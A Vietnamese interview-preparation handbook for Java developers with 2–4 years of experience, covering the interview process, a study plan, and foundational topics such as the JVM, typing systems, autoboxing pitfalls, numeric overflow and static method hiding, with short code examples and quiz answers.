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MỤC LỤC



Lời mở đầu: Người phỏng vấn thực sự tìm gì ở một dev 2–4 năm?
Tôi đã ngồi ở cả hai phía bàn phỏng vấn: từng là ứng viên run tay trước câu hỏi về HashMap, và sau này là người hỏi câu đó cho hàng trăm ứng viên. Điều tôi rút ra là: ở mức 2–4 năm kinh nghiệm, hiếm ai trượt vì không biết định nghĩa. Họ trượt vì chỉ biết định nghĩa.
Cuốn cẩm nang này không phải một ngân hàng câu hỏi để học thuộc. Nó là bản đồ: học gì, học sâu tới đâu, người phỏng vấn đang thực sự kiểm tra điều gì đằng sau mỗi câu hỏi, và câu trả lời "ăn điểm" nghe như thế nào.
0.1 Fresher và 2–4 năm: cùng một câu hỏi, hai tiêu chuẩn chấm
Tôi hỏi cùng một câu "@Transactional hoạt động thế nào?" cho cả Fresher lẫn ứng viên 3 năm. Với Fresher, nói được "nó bọc method trong một transaction, lỗi thì rollback" là đạt. Với ứng viên 3 năm, câu trả lời đó là trượt. Tôi chờ nghe về proxy, về chuyện gọi method trong cùng class thì annotation mất tác dụng, về checked exception không tự rollback, và tốt nhất là một lần bạn đã dính lỗi đó trong dự án thật.
	Tiêu chí
	Fresher
	2–4 năm (Junior+ / Middle)

	Kiến thức
	Biết khái niệm, định nghĩa
	Hiểu cơ chế bên trong, biết trade-off

	Câu trả lời
	"X là gì"
	"X hoạt động thế nào, khi nào không nên dùng"

	Dự án
	Đồ án, bài tập
	Hệ thống thật, có người dùng, có sự cố

	Debug
	Đọc stack trace
	Đọc log, metric, heap dump, tìm nguyên nhân gốc

	Thiết kế
	Làm theo hướng dẫn
	Tự thiết kế một module, giải thích lựa chọn

	Giao tiếp
	Trả lời đúng là đủ
	Giải thích rõ cho người khác, dám nói "tôi không chắc"



	MẸO TỪ NGƯỜI PHỎNG VẤN
Công thức một câu trả lời tốt ở mức 2–4 năm: Định nghĩa ngắn (1 câu) → Cơ chế bên trong → Trade-off / khi nào không dùng → Ví dụ từ dự án của bạn. Bạn không cần câu nào cũng đủ bốn phần, nhưng câu nào có phần cuối thì gần như chắc chắn được điểm cao.



0.2 Quy trình phỏng vấn điển hình
Mỗi công ty một kiểu, nhưng phần lớn công ty ở Việt Nam (cả outsource lẫn product) đi theo khung sau:
1. Sàng lọc CV và gọi điện (15–30 phút): HR hoặc tech lead hỏi nhanh về kinh nghiệm, mức lương mong muốn, thời gian nhận việc. Đây là lúc CV của bạn phải khớp với lời bạn nói.
1. Phỏng vấn kỹ thuật (45–90 phút): trọng tâm của cuốn sách này. Java Core, Spring, Database, và đào sâu vào dự án trong CV.
1. Live coding hoặc bài test về nhà: thuật toán mức easy–medium, hoặc một mini project Spring Boot. Chấm cả cách bạn tư duy lẫn chất lượng code.
1. System design nhẹ (với mức Middle): thiết kế một tính năng hoặc một hệ thống nhỏ, xem bạn có nghĩ tới dữ liệu, tải, lỗi hay không.
1. Behavioral / Culture fit / HR: kể chuyện dự án, xử lý xung đột, lý do nghỉ việc, deal lương.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
Ở vòng kỹ thuật, người phỏng vấn thường có một "kịch bản đào sâu": bắt đầu bằng câu dễ, rồi hỏi tiếp "tại sao?", "nếu... thì sao?" cho đến khi bạn dừng lại. Điểm dừng đó chính là level của bạn.
1. Họ không mong bạn biết hết. Họ muốn xem bạn dừng ở đâu và phản ứng ra sao khi không biết.
1. Họ kiểm tra CV: mọi công nghệ bạn ghi trong CV đều là "vé mời" để bị hỏi sâu.
1. Họ đánh giá bạn có tự làm được việc (ownership) hay chỉ làm theo chỉ dẫn.



0.3 Cách dùng cẩm nang này
Cẩm nang gồm hai phần:
1. Phần nền tảng (Nền tảng 1 và 2): kiến thức mức Fresher về Java, OOP, Collections, SQL, Web, Spring, Hibernate. Người phỏng vấn hay dùng các câu này để khởi động. Với ứng viên 2–4 năm, trả lời sai một câu nền tảng bị trừ điểm nặng hơn trả lời chưa sâu một câu nâng cao. Nếu bạn là Fresher hoặc đã lâu không ôn lý thuyết, hãy bắt đầu từ đây.
1. Phần chuyên sâu (Chương 1–13): cùng các chủ đề đó nhưng ở mức cơ chế, trade-off và kinh nghiệm dự án, cộng thêm cache, message queue, microservices, system design, DevOps và kỹ năng phỏng vấn.
Mỗi chương đi theo cùng một khuôn để bạn ôn nhanh:
1. Người phỏng vấn muốn kiểm tra gì: đọc trước để biết trọng tâm.
1. Kiến thức cốt lõi: giải thích ngắn gọn, đúng bản chất, có code và bảng so sánh.
1. Câu hỏi phỏng vấn thường gặp: kèm gợi ý trả lời theo cách một ứng viên giỏi sẽ nói.
1. Bẫy thường gặp: những câu trả lời làm bạn mất điểm ngay lập tức.
1. Câu hỏi đào sâu: câu người phỏng vấn sẽ hỏi tiếp. Hãy luyện trả lời chúng, đây là chỗ phân biệt 2 năm với 4 năm.
1. Checklist ôn tập: tự đánh dấu. Mục nào chưa tự tin giải thích bằng lời của mình thì chưa tính là xong.
1. Nhắc lại kiến thức: callout đặt ở đầu một số mục, tóm tắt 1–3 câu khái niệm nền mà mục đó dựa vào và chỉ ra nơi học lại (ví dụ "xem N1.9"). Nếu đọc callout này mà thấy lạ, hãy quay lại mục được trỏ tới trước khi đọc tiếp; nếu thấy quen thì lướt qua.
1. Tóm tắt trọng tâm: mục ngay trước Checklist, gom 8–15 điều phải nhớ của cả chương, mỗi điều kèm "vì sao". Đây là phần nên đọc lại vào tối trước buổi phỏng vấn.
Câu hỏi trong mỗi chương được gắn nhãn mức độ ngay trong tiêu đề để bạn biết mình đang luyện ở tầng nào:
	Nhãn
	Ý nghĩa
	Cách luyện

	Cơ bản
	Kiến thức phải trả lời trôi chảy, sai là mất điểm nặng
	Trả lời trong 1–2 phút, không cần nhìn tài liệu

	Hiểu sâu
	Hỏi cơ chế, "vì sao", so sánh hai lựa chọn
	Nói được cơ chế bên trong và trade-off

	Thực chiến
	Tình huống production, tìm lỗi, thiết kế
	Trả lời theo các bước điều tra, gắn với dự án của bạn

	Đọc code
	Cho đoạn code, hỏi in ra gì hoặc lỗi ở đâu
	Tự đoán kết quả trên giấy trước khi xem đáp án



Mỗi đáp án mở đầu bằng ý chính 1–2 câu, rồi mới đến giải thích chi tiết. Khi luyện, hãy tập nói được ý chính đó trước: người phỏng vấn thường đánh giá bạn ngay từ câu đầu tiên.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Bản web của cẩm nang có chế độ Tự kiểm tra: khi bật, phần đáp án của mỗi câu hỏi được ẩn đi để bạn tự trả lời trước rồi mới mở ra so sánh. Với câu Đọc code, đề bài và đoạn code vẫn hiển thị, chỉ phần sau dòng "Đáp án" bị ẩn. Cách dùng hiệu quả: trả lời thành tiếng hoặc viết ra giấy, mở đáp án, rồi đánh dấu câu nào sai để ôn lại sau vài ngày.



	GHI CHÚ
Nếu bạn là người mới, sinh viên hoặc Fresher, đừng bắt đầu từ Chương 1. Hãy đọc Nền tảng 1 (Java cơ bản và OOP) và Nền tảng 2 trước: các chương chuyên sâu dùng lại kiến thức ở đó và chỉ nhắc ngắn qua callout Nhắc lại kiến thức. Khi đã trả lời được phần lớn câu hỏi Cơ bản ở Nền tảng, bạn sẽ đọc các chương sau dễ hơn nhiều.



	GHI CHÚ
Cẩm nang lấy Java 17/21 và Spring Boot 3.x làm chuẩn. Nhiều bộ câu hỏi lưu hành trên mạng (và một phần tài liệu gốc dùng để biên soạn cuốn này) vẫn trả lời theo Java 6, EJB, SOAP. Phụ lục B liệt kê các điểm lỗi thời hoặc sai hay gặp để bạn không bị "bắt lỗi" trong phòng phỏng vấn.



0.4 Lộ trình ôn tập 6 tuần
Nếu bạn còn đi làm toàn thời gian, mỗi ngày 1,5–2 giờ và cuối tuần 4–5 giờ là đủ cho lộ trình sau. Có ít thời gian hơn thì ưu tiên các chương đánh dấu (*). Nếu bạn là Fresher, dành thêm 1–2 tuần đầu cho Nền tảng 1 và 2, rồi mới sang lộ trình dưới đây. Nếu đã có kinh nghiệm, hãy đọc lướt phần Nền tảng trong tuần 1 và chỉ dừng lại ở câu nào mình trả lời chưa chắc.
	Tuần
	Nội dung
	Kết quả cần đạt

	1
	Lướt Nền tảng 1–2; Chương 1*, 2: Java Core, JVM
	Giải thích HashMap, equals/hashCode, GC bằng lời của mình

	2
	Chương 3*, 12: Concurrency, bắt đầu luyện code mỗi ngày
	Viết được producer-consumer, giải thích volatile vs synchronized

	3
	Chương 4*, 5: Spring, Security
	Vẽ được bean lifecycle, giải thích @Transactional qua proxy

	4
	Chương 6*, 7: Database, JPA, REST
	Tự sửa được N+1, nói rõ isolation level mặc định của DB bạn dùng

	5
	Chương 8, 9, 10, 11: Cache, MQ, Microservices, Testing, DevOps
	Giải một bài system design nhỏ trong 40 phút

	6
	Chương 13*, Phụ lục: kể chuyện dự án, phỏng vấn thử
	Tự giới thiệu 90 giây trôi chảy, 3 câu chuyện STAR sẵn sàng



	MẸO TỪ NGƯỜI PHỎNG VẤN
Cách học hiệu quả nhất tôi từng thấy ở các ứng viên giỏi: học xong một chủ đề thì nói to câu trả lời như đang phỏng vấn thật, ghi âm lại và nghe. Bạn sẽ nhận ra ngay chỗ mình ấp úng, chỗ nói vòng vo. Tốt hơn nữa là nhờ một người bạn đóng vai người phỏng vấn và cứ hỏi "tại sao?" liên tục.



0.5 Ba nguyên tắc trong phòng phỏng vấn
1. Trung thực khi không biết. "Phần này tôi chưa làm thực tế, nhưng theo hiểu biết của tôi thì..." luôn tốt hơn bịa. Người phỏng vấn nhận ra ngay khi bạn đoán, và một câu bịa làm họ nghi ngờ mọi câu trả lời trước đó.
1. Suy nghĩ thành tiếng. Im lặng 30 giây rồi đưa ra đáp án đúng vẫn kém hơn nói ra hướng suy nghĩ, dù chưa trọn vẹn. Người phỏng vấn chấm cách bạn tư duy, không chỉ kết quả.
1. Kéo câu hỏi về vùng mạnh của bạn. Khi được hỏi về Kafka mà bạn chỉ dùng RabbitMQ, hãy nói rõ điều đó và so sánh bằng kinh nghiệm RabbitMQ thật của bạn. Kinh nghiệm thật luôn thuyết phục hơn lý thuyết học thuộc.
Nền tảng 1. Java cơ bản và OOP (kiến thức Fresher)
Đi làm 2–4 năm vẫn phải ôn "JDK khác JRE thế nào"? Có. Người phỏng vấn hay khởi động bằng vài câu cơ bản để đo nhanh nền móng. Với người có kinh nghiệm, sai câu nền tảng bị trừ điểm nặng hơn Fresher nhiều, vì nó cho thấy bạn code theo thói quen mà không hiểu vì sao. Mà chuyện này không hiếm: ngày nào cũng dùng Spring, nhiều người quên dần thứ tự khởi tạo class hay khác biệt giữa sleep() và wait().
Phần này trả lời các câu vòng Fresher/Junior theo Java 17/21, và chỉ ra chỗ các bộ đáp án lưu truyền đã lỗi thời (interface chỉ có abstract method, finalize(), setPriority()...). Phần cần đào sâu có ở Chương 1, 2, 3.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Công thức trả lời câu cơ bản ở mức 2–4 năm: một câu định nghĩa gọn, chính xác, rồi thêm đúng một ý thực tế.
1. Ví dụ "HashMap khác Hashtable?": nêu khác biệt về null và đồng bộ, rồi thêm "thực tế không ai dùng Hashtable nữa, cần thread-safe thì dùng ConcurrentHashMap".



N1.1 JDK, JRE, JVM và cách chương trình Java chạy
1. JVM: máy ảo thực thi bytecode, mỗi hệ điều hành có bản JVM riêng.
1. JRE: JVM cộng thư viện chuẩn, đủ để chạy chương trình.
1. JDK: JRE cộng công cụ phát triển (javac, jar, jshell...), dùng để viết và biên dịch.
javac biên dịch .java thành bytecode (.class) không phụ thuộc hệ điều hành; JVM nạp bytecode, vừa thông dịch vừa dùng JIT dịch code chạy nhiều sang mã máy. Nhờ vậy cùng file .class chạy trên mọi máy có JVM: Write Once, Run Anywhere. Các lệnh sau đi qua vòng đời đó với file Hello.java có method main:
	javac Hello.java      # compile: produces Hello.class (bytecode)
java Hello            # start the JVM, load Hello.class, call main
javap -c Hello        # show the generated bytecode
java Hello.java       # Java 11+: run a single source file directly



Giải thích: javac thuộc JDK, java khởi động JVM. javap -c cho thấy .class chứa lệnh bytecode như invokevirtual, không phải mã máy. Dự án thật build bằng Maven/Gradle.
Static/dynamic typing: kiểu được kiểm tra lúc biên dịch (Java, Go) hay lúc chạy (Python, JavaScript). Strong/weak typing: ngôn ngữ có tự ép kiểu ngầm giữa các kiểu không liên quan hay không (JavaScript cho "5" * 2 ra 10 là weak). Java là static và strong: int x = "abc"; không biên dịch được, ép (Integer) obj sai kiểu thì ném ClassCastException.
Bytecode và JIT nói bằng lời thường
Bytecode là "ngôn ngữ trung gian" do javac sinh ra: nó không phải mã máy của Intel hay ARM, mà là tập lệnh dành riêng cho JVM. JVM ban đầu thông dịch (đọc từng lệnh bytecode và thực hiện), đồng thời đếm xem method nào được gọi nhiều. Method "nóng" (gọi hàng nghìn lần) được JIT compiler (Just-In-Time, biên dịch đúng lúc cần) dịch sang mã máy thật và lưu lại, lần sau chạy thẳng mã máy nên nhanh hơn nhiều. Có thể hình dung như người phiên dịch: câu lạ thì dịch từng từ, câu nói đi nói lại thì thuộc lòng bản dịch.
Hai trục độc lập: static/dynamic và strong/weak
Hai cặp khái niệm này hay bị trộn vào nhau, nhưng chúng trả lời hai câu hỏi khác nhau:
1. Static hay dynamic typing trả lời câu "kiểu được kiểm tra khi nào?". Static: compiler kiểm tra kiểu trước khi chương trình chạy, sai kiểu thì không biên dịch được. Dynamic: biến không có kiểu cố định, kiểu chỉ được kiểm tra lúc chạy, khi dòng code đó thực sự được thực thi.
1. Strong hay weak typing trả lời câu "khi hai kiểu không liên quan gặp nhau, ngôn ngữ có tự ép kiểu ngầm để chạy tiếp không?". Strong: không tự ép, báo lỗi (lúc biên dịch hoặc lúc chạy). Weak: tự chuyển đổi ngầm theo luật riêng, chạy tiếp và cho ra một kết quả đôi khi khó đoán.
Vì hai trục độc lập, ta có đủ bốn tổ hợp. Mỗi ô dưới đây kèm một dòng code minh họa. C, Python và JavaScript chỉ được mượn để bạn thấy đủ bốn tổ hợp; câu hỏi phỏng vấn thực tế luôn xoay quanh Java, tức ô đầu tiên:
	
	Strong (không tự ép kiểu ngầm)
	Weak (tự ép kiểu ngầm)

	Static (kiểm tra lúc biên dịch)
	Java: int x = "5"; lỗi biên dịch incompatible types
	C: int x = 'A' + 1.5; biên dịch được, x = 66; ép con trỏ (int*) p tùy ý

	Dynamic (kiểm tra lúc chạy)
	Python: "5" + 5 ném TypeError lúc chạy
	JavaScript: "5" * 2 ra 10, "5" + 2 ra "52"



Ở ô C, compiler không phàn nàn khi trộn char, double và int: nó ngầm đổi 'A' thành 65, cộng 1.5 thành 66.5 rồi cắt còn 66. Ở ô Python, chương trình vẫn khởi động bình thường, chỉ khi chạy tới dòng "5" + 5 mới ném lỗi, vì Python không chịu tự đổi số thành chuỗi. Ở ô JavaScript, không có lỗi nào: phép * ép "5" thành số, còn phép + lại ép 2 thành chuỗi.
Java nằm ở ô static và strong, nhưng vẫn có chỗ kiểm tra kiểu lúc chạy: phép ép kiểu tham chiếu. Đoạn code sau biên dịch được, nhưng JVM kiểm tra lại khi chạy và từ chối ép sai:
	public class CastCheck {
    public static void main(String[] args) {
        Object obj = "hello";              // compiler only knows the type is Object
        String s = (String) obj;           // OK at runtime: the object really is a String
        System.out.println(s.length());    // prints: 5
        Integer n = (Integer) obj;         // compiles, but throws ClassCastException at runtime
    }
}



Giải thích: chương trình in 5 rồi dừng với ClassCastException: class java.lang.String cannot be cast to class java.lang.Integer. Compiler cho phép ép Object sang Integer vì biết đâu obj thật sự là Integer; JVM kiểm tra object thật lúc chạy và thấy là String nên ném lỗi thay vì âm thầm "đổi" chuỗi thành số. Đó chính là tính strong: Java không bao giờ tự biến "hello" thành một con số. Java chỉ tự nới rộng kiểu giữa các kiểu số có liên quan (int sang long, int sang double), việc này an toàn và không phải weak typing.
Câu hỏi (Cơ bản): JDK, JRE, JVM khác nhau thế nào?
JVM thực thi bytecode, JRE thêm thư viện chuẩn, JDK thêm công cụ phát triển. Ý thực tế: từ Java 11 Oracle không phát hành JRE riêng; Docker image thường dùng JRE của Eclipse Temurin hoặc runtime tạo bằng jlink.
Câu hỏi (Hiểu sâu): Java là ngôn ngữ biên dịch hay thông dịch?
Cả hai: javac biên dịch sang bytecode, JVM thông dịch và JIT biên dịch code "nóng" sang mã máy, nên ứng dụng cần warm-up mới đạt tốc độ cao nhất (Chương 2).
	GHI CHÚ
Một số tài liệu cũ định nghĩa "strong typed là kiểm tra kiểu lúc biên dịch, weak typed là kiểm tra kiểu lúc chạy". Định nghĩa này nhầm hai trục với nhau: kiểm tra lúc nào (biên dịch hay chạy) là static/dynamic typing; còn strong/weak nói về việc ngôn ngữ có tự ép kiểu ngầm giữa các kiểu không liên quan hay không.
1. Phản ví dụ: Python kiểm tra kiểu lúc chạy nhưng vẫn là strong ("5" + 5 ném TypeError); C kiểm tra lúc biên dịch nhưng là weak (int x = 'A' + 1.5; vẫn biên dịch).
1. Trả lời đúng: Java là static (compiler bắt int x = "5";) và strong (không tự đổi String thành số, ép sai thì ném ClassCastException).



	BẪY THƯỜNG GẶP
"Có var thì Java thành dynamic typing." Sai: var chỉ là suy luận kiểu lúc biên dịch, biến vẫn có kiểu cố định.



Câu hỏi (Hiểu sâu): Java là static hay dynamic, strong hay weak? ClassCastException xảy ra lúc chạy có làm Java thành dynamic không?
Java là static và strong; hai tính chất này không mâu thuẫn vì chúng thuộc hai trục khác nhau. Static vì mỗi biến, tham số và giá trị trả về có kiểu cố định, compiler kiểm tra trước khi chạy (int x = "5"; không biên dịch được). Strong vì Java không tự đổi giữa các kiểu không liên quan (không có chuyện String tự biến thành số). ClassCastException không biến Java thành dynamic: compiler vẫn bắt phần lớn lỗi kiểu, còn phép ép kiểu tham chiếu là chỗ lập trình viên tự nói "tôi chắc object này là kiểu đó", nên JVM phải kiểm tra thêm lúc chạy để giữ tính strong. Tương tự, var chỉ nhờ compiler suy luận kiểu lúc biên dịch, biến vẫn có kiểu cố định.
Câu hỏi (Đọc code): Dòng nào trong đoạn dưới đây không biên dịch được, dòng nào biên dịch được nhưng lỗi khi chạy?
	public class TypingQuiz {
    public static void main(String[] args) {
        var total = 10;            // line A
        long big = total;          // line B
        Object o = total;          // line C
        String s = (String) o;     // line D
        // total = "ten";          // line E (uncomment to test)
    }
}



Đáp án:
Dòng E không biên dịch được; dòng D biên dịch được nhưng ném ClassCastException lúc chạy; A, B, C đều hợp lệ.
1. A: var suy luận total là int lúc biên dịch, kiểu cố định từ đây.
1. B: nới rộng int sang long là chuyển đổi an toàn giữa hai kiểu số, không phải weak typing.
1. C: total được autoboxing thành Integer (xem N1.2) rồi gán vào biến kiểu Object.
1. D: compiler chấp nhận ép Object sang String, nhưng object thật là Integer nên JVM ném ClassCastException.
1. E: total là int, gán "ten" bị compiler báo incompatible types: String cannot be converted to int. Đây là bằng chứng var không biến Java thành dynamic typing.
Câu hỏi (Thực chiến): Vì sao ứng dụng Spring Boot vừa khởi động xong thường chậm hơn sau vài phút chạy?
Vì lúc đầu JVM chủ yếu thông dịch bytecode; sau khi đo được method nào "nóng", JIT mới dịch chúng sang mã máy tối ưu. Vài trăm request đầu vì vậy có latency cao hơn (giai đoạn warm-up). Thực tế: load test phải bỏ qua kết quả của giai đoạn warm-up; môi trường cần khởi động cực nhanh (serverless) có thể cân nhắc GraalVM native image hoặc CDS, chi tiết ở Chương 2.
N1.2 Kiểu dữ liệu, wrapper và bẫy số học
Java có 8 kiểu primitive. Giá trị mặc định chỉ áp dụng cho field; biến cục bộ chưa gán mà dùng là lỗi biên dịch.
	Kiểu
	Kích thước
	Mặc định (field)
	Ghi chú

	byte / short
	8 / 16 bit
	0
	-128..127 / ±32 nghìn

	int
	32 bit
	0
	khoảng ±2,1 tỷ

	long
	64 bit
	0L
	id, timestamp

	float / double
	32 / 64 bit
	0.0f / 0.0d
	số thực, có sai số

	char
	16 bit
	'\u0000'
	một đơn vị UTF-16

	boolean
	JVM tự quyết
	false
	true/false



Wrapper là gì và "bọc" primitive như thế nào
Primitive là giá trị trần: biến int count = 5; chứa thẳng con số 5, không có method, không thể null. Nếu count là biến cục bộ trong method, con số 5 nằm ngay trong khung (frame) của method đó trên Stack, vùng nhớ riêng của mỗi thread, tự dọn khi method kết thúc. Wrapper là một class bình thường đóng vai "cái hộp" chứa đúng một giá trị primitive. Rút gọn từ mã nguồn JDK, Integer trông như sau:
	public final class Integer {                        // simplified: real class extends Number
    private final int value;                        // the wrapped primitive, never changes
 
    public Integer(int value) { this.value = value; } // deprecated; use Integer.valueOf
    public int intValue() { return value; }           // unwraps the primitive
    // ... parseInt, compare, MAX_VALUE, equals, hashCode ...
}



Giải thích: mỗi object Integer chỉ có một field private final int value. final nghĩa là không đổi được giá trị bên trong, nên wrapper là bất biến (immutable): count++ với Integer count thực chất tạo ra (hoặc lấy từ cache) một object Integer khác rồi gán lại biến. Class Integer cũng là final nên không ai kế thừa được.
Object wrapper nằm trên Heap (vùng nhớ dùng chung, nơi mọi object được tạo bằng new sống, do GC dọn). Biến kiểu Integer không chứa số, nó chỉ chứa tham chiếu (có thể hình dung là địa chỉ) trỏ tới object đó:
	int a = 5;                  Integer b = 5;   // compiled to Integer.valueOf(5)
 
   STACK (method frame)         HEAP
 +-----------------+       +--------------------------+
 | a  |  5         |       |  Integer object          |
 +-----------------+       |  header (~12 bytes)      |
 | b  |  ref ------+-----> |  value = 5               |
 +-----------------+       +--------------------------+



Giải thích: a chứa thẳng 5 (4 byte). b chỉ chứa tham chiếu; con số 5 nằm trong object trên Heap, kèm phần header mà mọi object đều có, nên một Integer tốn khoảng 16 byte cộng thêm tham chiếu. Nếu b = null thì biến không trỏ tới object nào; primitive không có trạng thái này.
	Primitive
	Wrapper
	Primitive
	Wrapper

	byte
	Byte
	float
	Float

	short
	Short
	double
	Double

	int
	Integer
	char
	Character

	long
	Long
	boolean
	Boolean



Vì sao Java cần wrapper dù đã có primitive:
1. Collection và generic chỉ chứa object. List<int> là lỗi biên dịch, phải viết List<Integer>. Generic của Java chỉ nhận kiểu tham chiếu.
1. Biểu diễn "chưa có giá trị". Cột discount nullable trong DB map sang field Integer discount: null nghĩa là "chưa nhập", khác hẳn 0. Field int không phân biệt được hai trường hợp này.
1. Method và hằng tiện ích: Integer.parseInt("42"), Integer.compare(a, b), Integer.MAX_VALUE, Long.toHexString(...), Character.isDigit(c).
Autoboxing và unboxing: compiler viết hộ bạn
Mỗi primitive có một wrapper (Integer, Long...) là object, có thể null và dùng được trong Collection. Autoboxing là compiler tự gọi Integer.valueOf(), unboxing là tự gọi intValue(). Đoạn code sau cho thấy hai bẫy của cơ chế này:
	public class WrapperTrap {
    public static void main(String[] args) {
        Integer a = 127, b = 127;
        Integer c = 128, d = 128;
        System.out.println(a == b);       // true: same object from the Integer cache
        System.out.println(c == d);       // false: two different objects
        System.out.println(c.equals(d));  // true: compares values
        Integer missing = null;
        int total = missing;              // NullPointerException on unboxing
    }
}



Giải thích: Integer.valueOf dùng lại object có sẵn cho -128 đến 127 nên a == b true; từ 128 mỗi lần boxing tạo object mới nên == (so địa chỉ) ra false. So sánh wrapper luôn dùng equals(). Dòng cuối thực chất là missing.intValue() nên ném NPE, hay gặp khi gán field Integer nullable của entity vào int.
Để thấy rõ compiler "viết hộ" những gì, so sánh code bạn viết với code tương đương sau khi javac dịch (có thể tự kiểm chứng bằng javap -c, sẽ thấy lệnh gọi Integer.valueOf và Integer.intValue):
	import java.util.ArrayList;
import java.util.List;
 
public class BoxingDesugar {
    public static void main(String[] args) {
        // What you write:
        List<Integer> list = new ArrayList<>();
        list.add(7);                            // autoboxing
        int first = list.get(0);                // unboxing
        Integer counter = 0;
        counter++;                              // unbox, add 1, box again
 
        // What the compiler actually generates:
        list.add(Integer.valueOf(7));
        int second = list.get(1).intValue();
        counter = Integer.valueOf(counter.intValue() + 1);
 
        System.out.println(first + " " + second + " " + counter); // prints: 7 7 2
    }
}



Giải thích: không có "phép màu" nào ở runtime: autoboxing chỉ là lời gọi Integer.valueOf(x), unboxing là lời gọi x.intValue() được chèn vào lúc biên dịch. Hiểu vậy thì mọi bẫy đều tự giải thích được: valueOf có cache -128..127 nên == lúc đúng lúc sai; intValue() gọi trên null nên ném NPE; counter++ trên Integer tạo object mới mỗi lần.
Chi phí của boxing. Mỗi lần boxing ngoài vùng cache là một object mới trên Heap, GC phải dọn sau đó. Trong vòng lặp lớn, chi phí này thấy rõ:
	public class BoxingCost {
    public static void main(String[] args) {
        Long boxedSum = 0L;                     // wrapper: each += creates a new Long
        for (long i = 0; i < 10_000_000; i++) {
            boxedSum += i;                      // boxedSum = Long.valueOf(boxedSum.longValue() + i)
        }
 
        long sum = 0L;                          // primitive: plain addition, no objects
        for (long i = 0; i < 10_000_000; i++) {
            sum += i;
        }
        System.out.println(boxedSum.equals(sum)); // prints: true (same result, very different cost)
    }
}



Giải thích: hai vòng lặp cho cùng kết quả, nhưng vòng đầu tạo khoảng 10 triệu object Long tạm (gần như toàn bộ nằm ngoài cache), thường chậm hơn vài lần đến cả chục lần so với vòng dùng long (số đo cụ thể tùy máy và JIT). Chỉ đổi một chữ Long thành long là sửa được. Quy tắc: biến tính toán, biến đếm, biến cộng dồn trong vòng lặp dùng primitive; muốn giữ số trong collection lớn mà không boxing thì dùng int[], IntStream, hoặc thư viện collection cho primitive.
Tràn số và sai số dấu phẩy động
Bẫy thứ hai là tràn số và sai số dấu phẩy động:
	import java.math.BigDecimal;
 
public class NumberTrap {
    public static void main(String[] args) {
        int max = Integer.MAX_VALUE;
        System.out.println(max + 1);             // -2147483648: overflow, no error raised
        System.out.println((long) max + 1);      // 2147483648: cast to long before adding
        System.out.println((int) 3.99);          // 3: narrowing cast drops the fraction
        System.out.println(0.1 + 0.2);           // 0.30000000000000004
        System.out.println(new BigDecimal("0.1").add(new BigDecimal("0.2"))); // 0.3
    }
}



Giải thích: int tràn thì quay vòng sang số âm, không có exception; cần an toàn thì dùng long hoặc Math.addExact. double lưu ở hệ nhị phân, 0.1 không biểu diễn chính xác nên có sai số. Tiền tệ dùng BigDecimal tạo từ String, khi chia phải chỉ định scale và RoundingMode.
Câu hỏi (Cơ bản): Khi nào dùng primitive, khi nào dùng wrapper?
Primitive cho tính toán và giá trị bắt buộc: nhanh, không null. Wrapper khi cần biểu diễn "chưa có giá trị" (cột DB nullable) hoặc dùng với Collection, generic; id của JPA entity thường là Long.
Câu hỏi (Hiểu sâu): Vì sao không dùng double cho tiền?
double không biểu diễn chính xác đa số số thập phân, sai số tích lũy qua phép tính. Dùng BigDecimal hoặc lưu long theo đơn vị nhỏ nhất.
	BẪY THƯỜNG GẶP
new BigDecimal("2.0").equals(new BigDecimal("2.00")) là false vì khác scale. So sánh giá trị tiền phải dùng compareTo() == 0.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.HashMap;
import java.util.Map;
 
public class BoxingQuiz {
    public static void main(String[] args) {
        Long a = 100L, b = 100L;
        Long c = 1000L, d = 1000L;
        System.out.println(a == b);
        System.out.println(c == d);
        System.out.println(c.equals(1000));      // careful: argument type
        Map<String, Integer> stock = new HashMap<>();
        int qty = stock.get("SKU-1");
        System.out.println(qty);
    }
}



Đáp án:
In true, false, false, rồi ném NullPointerException.
1. a == b là true vì Long.valueOf cũng cache -128..127, hai biến trỏ cùng một object.
1. c == d là false vì 1000 nằm ngoài cache, hai lần boxing tạo hai object khác nhau.
1. c.equals(1000): 1000 là int nên được boxing thành Integer, mà Long.equals trả false khi đối số không phải Long. Viết đúng là c.equals(1000L) hoặc so sánh c == 1000L (unboxing rồi so số).
1. stock.get("SKU-1") trả null vì map rỗng; gán vào int sinh ra lời gọi intValue() trên null nên ném NPE. Sửa bằng stock.getOrDefault("SKU-1", 0).
Câu hỏi (Thực chiến): Field entity nên khai báo int hay Integer? Chọn sai gây lỗi gì?
Cột nullable phải dùng wrapper; cột NOT NULL có thể dùng primitive, còn id thì dùng Long. Nếu cột discount cho phép null mà field là int, Hibernate không gán được null vào primitive và báo lỗi khi load dòng đó (thông báo dạng "Null value was assigned to a property of primitive type"). Ngược lại, dùng Integer cho mọi thứ thì chỗ nào int x = entity.getDiscount(); cũng có nguy cơ NPE khi unboxing. Id dùng Long vì entity mới chưa lưu có id null, đó là cách Spring Data phân biệt entity mới hay cũ.
Câu hỏi (Hiểu sâu): Vì sao List<int> không hợp lệ, và autoboxing thực chất làm gì?
Generic của Java chỉ nhận kiểu tham chiếu (object), nên phải dùng List<Integer>; autoboxing chỉ là compiler chèn Integer.valueOf(x) khi cần object và x.intValue() khi cần primitive. Generic được kiểm tra lúc biên dịch rồi xóa kiểu (type erasure), bên trong ArrayList chỉ có mảng Object[], mà một int không phải Object. Hệ quả: mỗi phần tử là một object riêng trên Heap, tốn bộ nhớ hơn int[] nhiều lần; xử lý số lượng lớn thì cân nhắc int[] hoặc IntStream.
N1.3 static, final, this, super và access modifier
static nghĩa là "thuộc về class, không thuộc từng object": biến static có một bản dùng chung, static method không có this, static block chạy một lần khi nạp class, static nested class tạo được mà không cần object bao ngoài (khác inner class).
Static method không override được; khai báo trùng ở class con là method hiding:
	class Parent {
    static String who() { return "Parent.static"; }
    String name() { return "Parent.instance"; }
}
 
class Child extends Parent {
    static String who() { return "Child.static"; }       // hiding, not overriding
    @Override String name() { return "Child.instance"; }  // real override
}
 
public class HidingDemo {
    public static void main(String[] args) {
        Parent p = new Child();
        System.out.println(p.who());   // Parent.static: chosen by declared type
        System.out.println(p.name());  // Child.instance: chosen by actual object
    }
}



Giải thích: static method được chọn lúc biên dịch theo kiểu biến (Parent), instance method được chọn lúc chạy theo object thật (Child). Thêm @Override vào Child.who() sẽ lỗi biên dịch.
